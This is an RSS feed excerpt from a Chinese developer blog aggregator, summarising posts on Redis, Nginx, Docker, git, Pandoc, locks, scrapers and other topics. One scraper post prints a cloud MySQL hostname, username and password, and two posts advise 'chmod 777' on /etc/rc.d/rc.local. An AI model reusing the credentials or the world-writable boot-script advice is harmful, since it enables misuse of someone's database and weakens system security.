      <description> 骨架屏是为了展示一个页面骨架而不含有实际的页面内容，从渲染效率上来讲，骨架屏它并不能使首屏渲染加快。由于骨架屏的一些使用又向用户渲染了额外的一些内容，这些内容是额外添加的、本来是不需要渲染的，它反而从整体上加长了首屏渲染的一个时长。&#xA;为了避免白屏现象的一个出现，可以这样优化：开发者可以在这个数据完成加载之前使用骨架屏和Loading提示，在这个数据完成之后将骨架屏和Loading做不渲染的一个处理，再展示真正的一个页面内容。&#xA;一般具体的做法是这样：&#xA;在数据源对象中设定一个loading提示变量值并将初始值设置为true；数据加载完成以后再将loading变量通过setData方法设置为false；在WXML这个页面里面通过loading变量切换骨架屏内容以及Loading提示还有真正页面内容的一个显示。 生成骨架屏的方法： 1、点击生成骨架屏，小程序会自动生成两个文件（骨架屏）；&#xA;2、按照文件提示，京创建好的文件引入对应文件中；&#xA;3、在接口调用完成之后将loading设置为false，使骨架屏不显示；&#xA;效果如下：&#xA;补充：有时候可能会出现实际的页面和骨架屏发生重影的现象，可以在实际页面的view标签上加一个wx:else的条件，使骨架屏和世界页面不会同时出现。&#xA;在使用骨架屏时有三点需要注意：&#xA;第一点在data数据对象中默认设置loading等于true；第二点就是不要直接修改生成的骨架屏的一个代码；第三点就是不要过度去使用骨架屏：一般只给主页去添加骨架屏效果，因为骨架屏是小程序提供的一种优化用户体验的一个机制，但其实任何的一个渲染都有消耗，骨架屏也是。 </description>
    </item>
    <item>
      <title>[linux c/c&#43;&#43;] 各种锁之间的差异（自旋锁、互斥量、条件变量、屏障、读写锁）</title>
      <link>https://bchobby.github.io/posts/c29b078e7c156ffe42449e5418f7d1c0/</link>
      <pubDate>Fri, 13 Jan 2023 14:41:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c29b078e7c156ffe42449e5418f7d1c0/</guid>
      <description>前言： 锁，作为线程间/进程间系统资源，在应对“多线程” 访问相同 “资源” 场景时，扮演重要角色。用得好，可以有效地为系统解耦各个模块；但是如果用的不好，一来可能造成系统效率低下( 某条并不重要的流水线长期占据资源锁，另外重要的流水线始终无法获得访问资源的权利 )，二来可能导致系统死锁。&#xA;自旋锁： 自旋锁一般用在内核中，其逻辑行为是：“使用cpu反复执行获取锁的动作，直到获取到锁为止”。这里有几个要点：&#xA;1）自旋锁如果未获取到锁，则会立刻再次尝试&#xA;2）自旋锁的尝试是同步行为，是会占用cpu的&#xA;因此，如果机器是单cpu的，而运行在次cpu上的线程进行了一次自旋锁获取，那么毫无疑问，此线程将独占此cpu，如果自旋处理流程中没有任何能够 让出 时间片的动作，此cpu利用率将飙升至 100%&#xA;代码模型： while (抢锁(lock) == 没抢到) { //做些什么，比如计数 //当计数到某个值以后，直接跳出循环 } 小结：&#xA;1.自旋锁会占用CPU，让其处于忙等状态，同时，还会“阻塞中断”，这很有用，某些相当关键的代码，如果加上自旋锁，那么可以 有效的屏蔽中断的干扰，不过这种场景在用户环境不常见，多出现在内核编程中&#xA;2.lock和trylock返回0就表示加锁成功，否则失败&#xA;互斥量： 互斥量Mutex的逻辑行为是：“尝试获取互斥量，如果被别的 线程 占用，则当前线程进入休眠状态，直到操作系统帮自己解除休眠”。要点如下：&#xA;1）获取互斥量失败时，当前线程会被投入睡眠&#xA;2）睡眠的唤醒有操作系统完成，即当前线程表现为阻塞状态(需要 区别 阻塞 和 忙等，线程阻塞不占cpu，线程忙等会再用cpu）。&#xA;posix关联接口：&#xA;PTHREAD_MUTEX_INITIALIZER ： 互斥量的初始值，定义互斥量的时候，可以使用这个只作为初始值。 pthread_mutex_init ： 初始化互斥量 对入参的pthread_mutex_t变量进行初始化，猜测具体的动作是注册到内核的监视列表中。 pthread_mutex_destroy ：销毁互斥量 对入参的pthread_mutex_t变量进行销毁，猜测底层动作是将互斥量从内核监视列表中去注册。 pthread_mutex_lock ： 阻塞锁互斥量 锁住互斥量，如果互斥量没有被其他线程锁住，那么当前线程获得锁，继续往下执行。如果被其他线程锁住，那么当前线程投入睡眠，等待操作系统唤醒自己。唤醒的同时，会把锁交给当前线程。 pthread_mutex_trylock ： 尝试锁互斥量 尝试锁互斥量，如果尝试成功，则获得互斥量，同时返回 0 ，否则 非0 以表示错误信息 pthread_mutex_timedlock ： 超时阻塞锁互斥量 相对于pthread_mutex_lock，此函数不会一直睡眠下去，当入参中的超时时间到达以后，操作系统会唤醒当前线程，如果在超时时间内获得了互斥量，函数返回0，否则非0，另外返回值有一种情况可以表示是超时返回。 pthread_mutex_unlock ： 释放互斥量 释放当前线程持有的互斥量。 条件变量： 条件变量的出现是为了满足特殊的使用场景，其实即便使用互斥量也是可以完成这种场景的实现，只不过代码会更复杂，而且会更吃CPU。</description>
    </item>
    <item>
      <title>Node.js 多版本安装及 NPM 镜像配置</title>
      <link>https://bchobby.github.io/posts/2ca5bb431722623f6a04955a8501116e/</link>
      <pubDate>Fri, 13 Jan 2023 14:31:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ca5bb431722623f6a04955a8501116e/</guid>
      <description>title: Node.js 多版本安装及 NPM 镜像配置&#xA;date: 2022-03-10 20:23:09&#xA;tags:&#xA;NPMNode.js前端&#xA;categories:开发工具及环境&#xA;cover: https://cover.png&#xA;feature: false 1. 安装多版本 Node.js 1.1 下载 首先去官网下载需要的 Node.js 版本，点击其他下载可以下载其他版本的 Node.js&#xA;1.2 安装 下载完成后先安装低版本的 Node.js，点击 Next&#xA;接受，Next&#xA;可以按需修改安装路径，Next&#xA;Next&#xA;Next&#xA;最后安装完成。会自动添加环境变量，可以打开环境变量查看，假如没有可以手动添加，这里我已经添加了两个&#xA;通过命令行输入 node -v 可以查看 Node.js 版本&#xA;安装完后更改 Node.js 的安装目录名字，然后再进行上面的操作安装另一个版本，安装完成后再将名字改回来&#xA;1.3 更换版本 通过命令 where node 可以查看本机中所有 Node.js 的版本&#xA;更换版本时，只需要在环境变量中将需要的 Node.js 版本移到其他版本前面。&#xA;2. 更换 NPM 镜像 Node.js 自带了一个包管理器 NPM，但是默认是去国外的服务器地址下载依赖，速度可能会很慢，可以替换为镜像地址，提高下载速度&#xA;打开命令行，输入命令，更换为淘宝镜像&#xA;npm config set registry https://registry.npmmirror.com 然后重新打开命令行，可以通过命令查看镜像是否更改&#xA;npm config get registry 3.</description>
    </item>
    <item>
      <title>（附源码）php积极心理学交流网站 毕业设计 100623</title>
      <link>https://bchobby.github.io/posts/d9ba0607daa95ad49ca3f3f6d1d96370/</link>
      <pubDate>Fri, 13 Jan 2023 13:44:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9ba0607daa95ad49ca3f3f6d1d96370/</guid>
      <description>摘要&#xA;心理测试在我国兴起还是近几年的事，由于对心理健康认识不足，观念陈旧，一些人虽然有心理问题或有心理疾病症状，但却想不到或不敢去心理测试。因为他们中有些人是不知道自己的这些问题是应该找心理医生呢还是找生理医生，而另一些人认为看心理医生不光彩，怕人耻笑，不愿去咨询，导致一般性心理问题积累成心理疾病，而痛苦不堪，甚至造成恶性事件、自卑、敏感、多疑带来心理困惑，和情绪紧张的时候,无法进入学习状态的时候。&#xA;本论文主要论述了如何使用PHP语言开发一个心理学交流学习网站，本系统将严格按照软件开发流程进行各个阶段的工作，采用B/S架构，面向对象编程思想进行项目开发。在引言中，作者将论述心理学交流学习网站的当前背景以及系统开发的目的，后续章节将严格按照软件开发流程，对系统进行各个阶段分析设计。&#xA;心理学交流学习网站的主要使用者分为管理员和用户与专家，实现功能包括管理员：首页、公告内容（轮播图、公告栏）系统用户（管理员、注册用户）内容模块（心理科普、科普分类、心理测试）模块管理（热文资讯、课程分类、精品课程、测试分析），用户；首页、公告栏、心理科普、热文资讯、精品课程、我的管理等功能。由于本网站的功能模块设计比较全面，所以使得整个心理学交流学习网站信息管理的过程得以实现。&#xA;本系统的使用可以实现本心理学交流学习网站管理的信息化，可以方便管理员进行更加方便快捷的管理，可以提高心理学交流学习网站的管理效率。&#xA;关键词：PHP语言；MYSQL数据库；心理学交流学习网站&#xA;Abstract&#xA;The rise of psychological testing in China is still in recent years. Due to the lack of understanding of mental health and outdated concepts, although some people have psychological problems or symptoms of psychological diseases, they can&#39;t think of or dare not go to psychological testing. Because some of them don&#39;t know whether they should find a psychologist or a physiologist for these problems, while others think it&#39;s disgraceful to see a psychologist, afraid of ridicule and unwilling to consult, which leads to the accumulation of general psychological problems into psychological diseases and unbearable pain, and even malignant events, low self-esteem, sensitivity and paranoia, resulting in psychological confusion, And emotional tension, unable to enter the learning state.</description>
    </item>
    <item>
      <title>echarts修改横坐标颜色</title>
      <link>https://bchobby.github.io/posts/e1f7a0d42250c2422f802f8b4d1abaae/</link>
      <pubDate>Fri, 13 Jan 2023 11:50:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1f7a0d42250c2422f802f8b4d1abaae/</guid>
      <description>echart修改一些配置项,经常会用到经常忘记,这里记录一下!&#xA;1.修改横纵坐标的颜色 看代码:&#xA;const option = { tooltip: { trigger: &#39;axis&#39;, axisPointer: { type: &#39;shadow&#39;, }, }, grid: { // show:true, left: &#34;5%&#34;, top: &#34;10%&#34;, right: &#34;2%&#34;, bottom: &#34;8%&#34;, borderWidth: 1, }, legend: { data: [&#39;项目总数&#39;, &#39;在建项目数&#39;, &#39;开工项目数&#39;], textStyle: { color: &#39;rgb(255,255,255,0.9)&#39;, }, }, xAxis: [ { type: &#39;category&#39;, axisTick: { show: false }, data: [ &#39;成都新经济&#39;, &#39;成都科学城&#39;, &#39;龙潭工业机器&#39;, &#39;成都新谷&#39;, &#39;白鹭湾新经济&#39;, &#39;龙泉汽车城&#39;, &#39;成都医学城&#39;, &#39;天府牧山数字&#39;, ], axisLine: { lineStyle: { color: &#39;#fff&#39;, }, }, }, ], yAxis: [ { type: &#39;value&#39;, axisLine: { lineStyle: { color: &#39;#fff&#39;, }, }, }, ], }; 2.</description>
    </item>
    <item>
      <title>Redis五大基本数据类型</title>
      <link>https://bchobby.github.io/posts/4876ba3bd8ba8a2d0a0a90b7c2b5cab2/</link>
      <pubDate>Fri, 13 Jan 2023 11:18:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4876ba3bd8ba8a2d0a0a90b7c2b5cab2/</guid>
      <description>Redis五大基本数据类型 1.Redis通用命令 常用命令&#xA;#Redis的键key操作 keys * 表示查看当前库所有key 【注意是：可以使用通配符】 exists &amp;lt;key&amp;gt; 表示判断某个key是否存在，存在返回1，否则返回0 type &amp;lt;key&amp;gt; 表示判断key类型 del &amp;lt;key&amp;gt; 表示删除指定key数据，表示就是直接删除除掉，如果删除成功返回1，否则返回0 unlink &amp;lt;key&amp;gt; 根据value选择非阻塞删除，仅将key从keyspace元数据中 删除，真正删除会在后续异步操作，表示不是立即删除 expire &amp;lt;key&amp;gt; 秒数 ：表示给指定key设置过期时间 ttl &amp;lt;key&amp;gt; 查看还多少秒过期，-1表示永过期，-2表示已经过期 2.String类型 简介：String是Redis最基本的类型，是一个key对应一个value类型，String类型是二进制安全的，说明Redis中的String类型可以包含任何数据，比如jpg图片或者序列化的对象，一个Redis中字符串value是最多可以是512M&#xA;常用命令&#xA;#添加数据指令 set &amp;lt;key&amp;gt;&amp;lt;value&amp;gt; 添加键值对【一次只能添加一个值】 NX表示数据库中key不存在时，可以将k-v添加到数据库中 XX表示数据库中key存在时，可以将k-v添加数据库中，与NX参数互斥 EX表示key超时秒数 PX表示key超时毫秒数，与EX互斥 append &amp;lt;key&amp;gt;&amp;lt;value&amp;gt; 表示将给定的value追加到原值的未尾 setnx &amp;lt;key&amp;gt;&amp;lt;value&amp;gt; 表示只有在key不存在时，设置key的值 mset &amp;lt;key1&amp;gt;&amp;lt;value1&amp;gt;&amp;lt;key2&amp;gt;&amp;lt;value2&amp;gt;... 表示同时设置一个或多个k-v键值对 msetnx &amp;lt;key1&amp;gt;&amp;lt;value1&amp;gt;&amp;lt;key2&amp;gt;&amp;lt;value2&amp;gt;... 表示同时设置一个或多个k-v键值，注意是当设置的key中必须都不能存在，如果存在一个则全部失败 setex &amp;lt;key&amp;gt; &amp;lt;过期时间&amp;gt; &amp;lt;value&amp;gt; 表示设置键值的同时，设置过期时间，单位为秒 #获取值 get &amp;lt;key&amp;gt; 表示查询对应键值 mget &amp;lt;key1&amp;gt;&amp;lt;key2&amp;gt;... 表示查询多个值 strlen &amp;lt;key&amp;gt; 表示获取得值的长度 getrange &amp;lt;key&amp;gt; &amp;lt;起始位置&amp;gt;&amp;lt;结束位置&amp;gt; 获取值的范围，类似于JAVA中的substring包含前后 #替换值 setrange &amp;lt;key&amp;gt;&amp;lt;起始位置&amp;gt;&amp;lt;value&amp;gt; 用value覆盖&amp;lt;key&amp;gt;所储存的字符串值，从&amp;lt;起始位置&amp;gt;开始（索引从0开始） getset &amp;lt;key&amp;gt;&amp;lt;value&amp;gt; 以新换旧值，设置新值同时获取旧值 #对数字值操作，就是只能对纯数字操作 incr &amp;lt;key&amp;gt; 将key中储存的数字值增1，只能对数字值操作，如果为空，新增值为1 decr &amp;lt;key&amp;gt; 将key中存储的数字值减1，只能对数字值操作，如果为空，新增值-1 incrby|decrby &amp;lt;key&amp;gt; &amp;lt;步长&amp;gt; 将key中存储的数字值增减，自定义步长 3.</description>
    </item>
    <item>
      <title>Nginx与LUA（2）</title>
      <link>https://bchobby.github.io/posts/379b411ba1f623be8c46eb55828472a0/</link>
      <pubDate>Fri, 13 Jan 2023 07:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/379b411ba1f623be8c46eb55828472a0/</guid>
      <description>您好，我是湘王，这是我的CSDN博客，欢迎您来，欢迎您再来～&#xA;除了反向代理，Nginx另一个主要的功能就是「负载均衡」。&#xA;所谓负载均衡，就是将请求分摊到多个服务器上执行，从而减轻单台服务器的访问压力。负载均衡一般都需要同时配置反向代理，通过反向代理跳转到指定的服务器上。&#xA;Nginx目前支持自带三种负载均衡策略，还有两种常用的第三方策略。&#xA;先准备好环境：&#xA;1、先安装三台Linux虚拟机，每台虚拟机上安装好JDK环境（不想装虚拟机，docker也可以）&#xA;2、开发一个最简单的SpringBoot应用&#xA;3、分别部署到其中两台服务器上，一台叫server01，一台叫server02&#xA;4、另一台服务器安装Nginx，做负载均衡，叫做server03&#xA;在application.properties文件中增加：server.port=8080&#xA;修改启动类，排除数据源的自动加载：&#xA;@SpringBootApplication(exclude = DataSourceAutoConfiguration.class)&#xA;增加Controller类：&#xA;打包应用，并上传到server02，启动应用&#xA;java -jar nginx-0.0.1-SNAPSHOT.jar&#xA;修改Controller类&#xA;打包应用，并上传到server03，启动应用&#xA;java -jar nginx-0.0.1-SNAPSHOT.jar&#xA;访问server01和server02（或者docker）的地址：&#xA;http://172.16.185.130:8080/test?username=test1&#xA;http://172.16.185.131:8080/test?username=test1&#xA;使用Nginx的默认方式，也就是轮询：每个请求按顺序轮流地分配到不同的后端服务器。如果某些后端服务器宕机或离线，也能自动剔除。&#xA;修改配置：&#xA;重新加载Nginx：&#xA;cd /usr/local/nginx/sbin/&#xA;./nginx -s reload&#xA;访问server03的地址：http://172.16.185.136/test?username=test1&#xA;结果是：&#xA;第n次访问会返回「server02」&#xA;第n+1次访问会返回「server03」&#xA;或者相反。&#xA;说明配置已生效。&#xA;现在给轮询增加一下权重，避免平均主义：每个请求指定轮询几率，weight和访问比率成正比。这可以用于后端服务器性能不均的情况，如果某些后端服务器宕机或离线，也能自动剔除。&#xA;修改配置，增加weight关键字：&#xA;重新加载Nginx：&#xA;cd /usr/local/nginx/sbin/&#xA;./nginx -s reload&#xA;再访问server03：http://172.16.185.136/test?username=test1&#xA;连续访问多次的结果：&#xA;多数访问会返回「server02」&#xA;少数访问会返回「server03」&#xA;大概就是三七开，说明配置已生效。&#xA;轮询和权重的方式只能满足无状态的或者幂等的业务应用。但很多时候业务需要满足一个客户只能访问一个服务器的条件因此，这种情况就需要采用iphash方式来分配后端服务器。&#xA;修改配置，增加ip_hash关键字：&#xA;重新加载Nginx：&#xA;cd /usr/local/nginx/sbin/&#xA;./nginx -s reload&#xA;再次访问server03：http://172.16.185.136/test?username=test1&#xA;连续访问多次的结果：如果每次访问都只返回了「server01」或者「server02」，则说明配置已生效。&#xA;除了轮询、权重和iphash，另外还可以通过第三方插件来设置负载均衡的方式：&#xA;如果需要按后端服务器的响应时间来分配请求的话，可以使用第三方插件fair。&#xA;1、下载地址：https://github.com/gnosek/nginx-upstream-fair&#xA;（或者https://www.nginx.com/resources/wiki/modules/index.html）&#xA;2、下载后解压到/home/work/upstream-fair/</description>
    </item>
    <item>
      <title>如何将文件从主机复制到 Docker 容器？</title>
      <link>https://bchobby.github.io/posts/0462f0a0717928e399ea92ae5d4fa64b/</link>
      <pubDate>Thu, 12 Jan 2023 23:53:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0462f0a0717928e399ea92ae5d4fa64b/</guid>
      <description>问： 我正在尝试为我们使用的 Docker 容器构建备份和恢复解决方案。&#xA;我有我创建的 Docker 基础映像 ubuntu:base，并且不希望每次都使用 Docker 文件重新构建它以向其中添加文件。&#xA;我想创建一个从主机运行的脚本，并使用 ubuntu:base Docker 映像创建一个新容器，然后将文件复制到该容器中。&#xA;如何将文件从主机复制到容器？&#xA;答1: HuntsBot周刊–不定时分享成功产品案例，学习他们如何成功建立自己的副业–huntsbot.com&#xA;cp 命令可用于复制文件。&#xA;可以将一个特定文件复制到容器中，例如：&#xA;docker cp foo.txt container_id:/foo.txt 可以从容器中复制一个特定文件，例如：&#xA;docker cp container_id:/foo.txt foo.txt 为了强调，container_id 是 容器 ID，不是 图像 ID。 （使用 docker ps 查看包含 container_id 的列表。）&#xA;可以使用以下方法将文件夹 src 包含的多个文件复制到 target 文件夹中：&#xA;docker cp src/. container_id:/target docker cp container_id:/src/. target 参考：Docker CLI docs for cp&#xA;在 1.8 之前的 Docker 版本中，只能将文件从容器复制到主机。不是从主机到容器。&#xA;huntsbot.com全球7大洲远程工作机会，探索不一样的工作方式&#xA;另请注意，这可以在主机 vm 或主操作系统上，并且可以在主机到容器或 vm 到主机（或主操作系统）上工作</description>
    </item>
    <item>
      <title>通过Python爬虫获取【小说网站】数据，保姆级教学</title>
      <link>https://bchobby.github.io/posts/954f1eba97d8be3e141aa686ad30aeab/</link>
      <pubDate>Thu, 12 Jan 2023 22:49:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/954f1eba97d8be3e141aa686ad30aeab/</guid>
      <description>通过Python爬虫获取【小说网站】数据，保姆级教学 目录&#xA;通过Python爬虫获取【小说网站】数据，保姆级教学&#xA;前言&#xA;示例环境&#xA;爬取目标&#xA;爬取代码&#xA;核心技术点：&#xA;爬取结果&#xA;前言 所有的前置环境以及需要学习的基础我都放置在【Python基础(适合初学-完整教程-学习时间一周左右-节约您的时间)】中，学完基础咱们再配置一下Python爬虫的基础环境【看完这个，还不会【Python爬虫环境】，请你吃瓜】，搞定了基础和环境，我们就可以相对的随心所欲的获取想要的数据了，所有的代码都是我一点点写的，都细心的测试过，如果某个博客爬取的内容失效，私聊我即可，留言太多了，很难看得到，本系列的文章意在于帮助大家节约工作时间，希望能给大家带来一定的价值。&#xA;示例环境 系统环境：win11&#xA;开发工具：PyCharm Community Edition 2022.3.1&#xA;Python版本：Python 3.9.6&#xA;资源地址：链接：https://pan.baidu.com/s/1UZA8AAbygpP7Dv0dYFTFFA 提取码：7m3e&#xA;MySQL：5.7，url=【rm-bp1zq3879r28p726lco.mysql.rds.aliyuncs.com】,user=【qwe8403000】,pwd=【Qwe8403000】，库比较多，自己建好自己的，别跟别人冲突。&#xA;爬取目标 小说,小说网-纵横中文网|最热门的免费小说网&#xA;https://book.zongheng.com/&#xA;输入对应的网址即可下载：&#xA;爬取代码 核心技术点： 1、双重集合单循环遍历&#xA;for item1, item2 in zip(href, text): a_href_list = [&#34;&#34;, &#34;&#34;] a_href_list[0] = item1 a_href_list[1] = item2 a_href_arr.append(a_href_list) 2、parsel的css选择器语法&#xA;注意点：这里的注意点依然是时间的随机上，如果你有IP代理的话就无所谓了。&#xA;import requests import parsel import uuid import time import random import os baseUrl = &#34;http://www.zongheng.com/&#34; bookId = &#34;https://book.zongheng.com/book/1228049.html&#34; bookIdDir = bookId.replace(&#34;book/&#34;, &#34;</description>
    </item>
    <item>
      <title>TBH-CVPR2020-Auto-encoding twin-bottleneck hashing</title>
      <link>https://bchobby.github.io/posts/62281dce26af335986eefbb82e8ddd01/</link>
      <pubDate>Thu, 12 Jan 2023 22:20:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62281dce26af335986eefbb82e8ddd01/</guid>
      <description>代码来源: https://github.com/ymcidence/TBH&#xA;环境配置：&#xA;极客云平台云主机&#xA;正常运行&#xA;论文解读 to be continued…</description>
    </item>
    <item>
      <title>git log 命令</title>
      <link>https://bchobby.github.io/posts/b996a10941a2073294f72c7bbb26e89a/</link>
      <pubDate>Thu, 12 Jan 2023 21:40:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b996a10941a2073294f72c7bbb26e89a/</guid>
      <description>1. 前言&#xA;2. git log&#xA;3. git reflog&#xA;4. 翻页、查看下一行、退出查看&#xA;1. 前言&#xA;git log 命令主要用于查看提交记录&#xA;日常开发中，我们会经常使用 git log 查看提交记录，配合 git status 确认当前代码是不是最新的&#xA;git log 有很多的参数选项，我们可以根据自己的需求使用不同的参数，使其输出我们想要的效果&#xA;2. git log&#xA;基本用法&#xA;git log only one line，该参数用于简化 git log 的默认输出。只显示 commit id 和备注信息&#xA;git log --pretty=oneline 更为简洁的提交历史列表，只显示 commit id 的前 7 位和备注信息&#xA;git log --oneline 查看某个人的提交记录 (等号和空格都行)&#xA;git log --author lianggit log --author=liang 查看最近 n 次的提交记录&#xA;# 查看最近1次提交记录git log -1# 查看最近2次提交记录git log -2 查看文件的变动信息</description>
    </item>
    <item>
      <title>Pandoc 多Markdown转单PDF</title>
      <link>https://bchobby.github.io/posts/bce6fec546a247b410a712dfd9a32ea8/</link>
      <pubDate>Thu, 12 Jan 2023 21:05:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bce6fec546a247b410a712dfd9a32ea8/</guid>
      <description>文章目录 Pandoc 简介Pandoc 安装pandoc-latex-template字体安装Powershell 脚本Ubuntu PandocMarkdown 合并 Pandoc 简介 Pandoc, 免费的文档转换器, 支持常见的各种文件格式的相互转换, 如Markdown, HTML, EPUB, LaTeX, docx, RTF, PDF 等.&#xA;本篇以Windows下的多Markdown转单PDF为例, 最后也会介绍Ubuntu下的使用方法.&#xA;Pandoc 安装 Windows下的安装:&#xA;Pandoc: 直接到 Installing pandoc 下载安装.MiKTeX: 直接到 Getting MiKTeX 下载安装, Pandoc默认使用 LaTeX 创建PDF, Windows上安装MiKTeX就包含了LaTeX. 安装完后, 打开 MiKTeX Console 检查MiKTeX及宏包的更新(第一次运行Pandoc转出PDF时, 可能会提示安装缺失的宏包) 安装完后, 检查和添加Pandoc和MiKTeX的环境变量&#xA;环境变量添加完, 首次需要在Powershell中刷新下环境, 让Powershell能找到MiKTeX一堆宏包exe文件的路径&#xA;$env:Path = [System.Environment]::GetEnvironmentVariable(&#34;Path&#34;,&#34;Machine&#34;) + &#34;;&#34; + [System.Environment]::GetEnvironmentVariable(&#34;Path&#34;,&#34;User&#34;) pandoc-latex-template 如果用默认参数, pandoc xxx.md --pdf-engine=xelatex -o yyy.pdf 生成PDF, 会发现各种小问题, 如代码块未和正文明显区分, 代码块中的单行过长会超出文档边界等.&#xA;类似PPT套模版, Pandoc生成好看的PDF也需要一套好用的模版, 如这个star数超多的 pandoc-latex-template, 即大名鼎鼎的eisvogel.</description>
    </item>
    <item>
      <title>linux服务器修改磁盘numa_node的方法</title>
      <link>https://bchobby.github.io/posts/99c50978331845af874ff5a71837a190/</link>
      <pubDate>Thu, 12 Jan 2023 18:39:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99c50978331845af874ff5a71837a190/</guid>
      <description>修改磁盘numa_node的方法 最近在搞集成的工作，碰到需要修改磁盘numa_node值的问题，如下是一些基础方法，供初学者使用&#xA;有两种修改磁盘numa_node的方法&#xA;临时修改磁盘numa_node nvme?：?是对应的磁盘号，例如：nvme0、nvme1、nvme2&#xA;#更改磁盘numa_node（用这种方式重启会还原） #修改numa_node 的值 vi /sys/class/nvme/nvme?/device/numa_node 如下就是对应的nvme0、nvme1、nvme2、nvme3&#xA;# nvme0的numa_node 的值 cat /sys/class/nvme/nvme0/device/numa_node 永久修改磁盘numa_node 以修改nvme0 的numa_node为例&#xA;# 修改nvme0的numa_node 的值，将0刷入rc.local文件 # 写入rc.local，重启机器后，会自动修改numa_node echo &#39;echo &#34;0&#34; &amp;gt; /sys/class/nvme/nvme0/device/numa_node &#39; |tee -a /etc/rc.d/rc.local 如果无rc.local文件的操作权限，则需要先赋权，或更换为root账号权限&#xA;# 先更改文件权限 chmod 777 /etc/rc.d/rc.local # 或者root权限 sudo -i 执行成功后，查看rc.local内容</description>
    </item>
    <item>
      <title>linux服务器修改网卡numa_node的方法</title>
      <link>https://bchobby.github.io/posts/69fd586a76a5b98f57cf4bfdfe9a0441/</link>
      <pubDate>Thu, 12 Jan 2023 18:37:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/69fd586a76a5b98f57cf4bfdfe9a0441/</guid>
      <description> 修改网卡numa_node的方法 最近在搞集成的工作，碰到需要修改网卡numa_node值的问题，如下是一些基础方法，供初学者使用&#xA;有两种修改网卡numa_node的方法&#xA;1. 临时修改网卡numa_node&#xA;eth?：?是对应的网卡号，例如：eth0、eth1、eth2&#xA;#更改网卡numa_node（用这种方式重启会还原） #修改numa_node 的值 vi /sys/class/net/eth?/device/numa_node 这里只是一个例子，ens3是服务器的一个网口，这个需要根据实际的来&#xA;# 网口ens3的numa_node 的值 cat /sys/class/net/ens3/device/numa_node 永久修改网卡numa_node&#xA;以修改eth0 的numa_node为例 # 修改eth0的numa_node 的值，将1刷入rc.local文件 # 写入rc.local，重启机器后，会自动修改numa_node echo &#39;echo &#34;1&#34; &amp;gt; /sys/class/net/eth0/device/numa_node &#39; |tee -a /etc/rc.d/rc.local 如果无rc.local文件的操作权限，则需要先赋权，或更换为root账号权限&#xA;# 先更改文件权限 chmod 777 /etc/rc.d/rc.local # 或者root权限 sudo -i 执行成功后，查看rc.local内容&#xA;cat /etc/rc.d/rc.local # 展示结果如下 touch /var/lock/subsys/local echo &#34;1&#34; &amp;gt; /sys/class/net/eth0/device/numa_node </description>
    </item>
    <item>
      <title>Failed to verify gcc version. See log at /var/log/cuda-installer.log for details怎么解决</title>
      <link>https://bchobby.github.io/posts/ec38704dc292be65157961c5fa146d43/</link>
      <pubDate>Thu, 12 Jan 2023 16:58:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec38704dc292be65157961c5fa146d43/</guid>
      <description>这个错误消息表明在安装 CUDA 时，系统无法验证 GCC 的版本。要解决这个问题，需要安装适当版本的 GCC。可以查看 /var/log/cuda-installer.log 文件以了解详细信息。</description>
    </item>
    <item>
      <title>python第三次作业</title>
      <link>https://bchobby.github.io/posts/e97e18323ddb7c7461465a754102abde/</link>
      <pubDate>Thu, 12 Jan 2023 16:57:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e97e18323ddb7c7461465a754102abde/</guid>
      <description>将二分法查找按照面向对象的思想重写 要求：输入一个整数列表，进行二分法查找&#xA;class Half_Find(): def __init__(self, list1, num1): self.list1 = list1 self.num1 = num1 def h_find(self): if len(self.list1) == 0 or len(self.num1) == 0: return &#39;数据不能为空&#39; self.num1 = int(self.num1) self.list1 = list(self.list1) # 转为字符串列表 self.list1 = [int(self.list1[i]) for i in range(len(self.list1))] # 遍历字符串列表的每个元素，强制转为int self.list1.sort() # 排序 i = 0 j = len(self.list1) - 1 while i &amp;lt;= j: mid = (i + j) // 2 # 计算中间元素索引 if self.list1[mid] == self.</description>
    </item>
    <item>
      <title>Android实现加载等待展示--进度圈</title>
      <link>https://bchobby.github.io/posts/e52d696e6bc1a2a25cb2f160ac079880/</link>
      <pubDate>Thu, 12 Jan 2023 16:56:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e52d696e6bc1a2a25cb2f160ac079880/</guid>
      <description>LoadingDialogUtils：&#xA;package yuduobaopromotionaledition.com.dialog; import android.app.Activity; import android.view.LayoutInflater; import android.view.View; import android.view.WindowManager; import java.lang.ref.WeakReference; import androidx.appcompat.app.AlertDialog; import yuduobaopromotionaledition.com.R; public class LoadingDialogUtils { private static AlertDialog loadingDialog; private static WeakReference&amp;lt;Activity&amp;gt; reference; private static void init(Activity act) { init(act, -1); } private static void init(Activity activity, int res) { if (loadingDialog == null || reference == null || reference.get() == null || reference.get().isFinishing()) { reference = new WeakReference&amp;lt;&amp;gt;(activity); loadingDialog = new AlertDialog.Builder(reference.get()).create(); if (res &amp;gt; 0) { View view = LayoutInflater.</description>
    </item>
    <item>
      <title>中兴服务器迈络思NS312网卡down掉网口物理指示灯不熄灭解决方法--NS312型号ConnectX-4 Lx</title>
      <link>https://bchobby.github.io/posts/17431f0286f855606b89cca803cc83f7/</link>
      <pubDate>Thu, 12 Jan 2023 16:55:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17431f0286f855606b89cca803cc83f7/</guid>
